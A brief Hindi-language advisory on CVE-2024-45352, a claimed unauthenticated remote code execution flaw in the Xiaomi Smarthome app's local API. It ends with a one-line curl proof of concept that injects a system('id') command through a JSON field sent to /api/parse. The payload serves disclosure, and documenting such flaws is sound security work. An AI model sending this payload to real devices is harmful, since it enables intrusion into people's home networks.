🚨 CVE-2024-45352 – Xiaomi Smarthome रिमोट कोड एक्ज़ीक्यूशन (RCE)

📌 सारांश

Xiaomi Smarthome एप्लिकेशन में एक गंभीर भेद्यता (CVE-2024-45352) खोजी गई थी, जो आंतरिक API पार्सर में अनुचित इनपुट हैंडलिंग के माध्यम से बिना प्रमाणीकरण के रिमोट कोड निष्पादन (RCE) की अनुमति देती है। इस भेद्यता का फायदा स्थानीय नेटवर्क पर हमलावर प्रभावित सिस्टम पर मनमाने कमांड निष्पादित करने के लिए उठा सकता है।

---

🛡️ सीवीई आईडी

• CVE: CVE-2024-45352
• CVSS (अनुमानित): 8.8 (उच्च)
• वेक्टर: नेटवर्क
• हमले की जटिलता: निम्न
• आवश्यक विशेषाधिकार: कोई नहीं
• उपयोगकर्ता सहभागिता: कोई नहीं

---

🧪 प्रूफ ऑफ कॉन्सेप्ट (PoC)

निम्नलिखित PoC एक दुर्भावनापूर्ण रूप से निर्मित अनुरोध के माध्यम से Xiaomi Smarthome स्थानीय API पर RCE प्रदर्शित करता है:

curl -X POST http://<target_ip>:<port>/api/parse --data '{"script":"system('id')"}'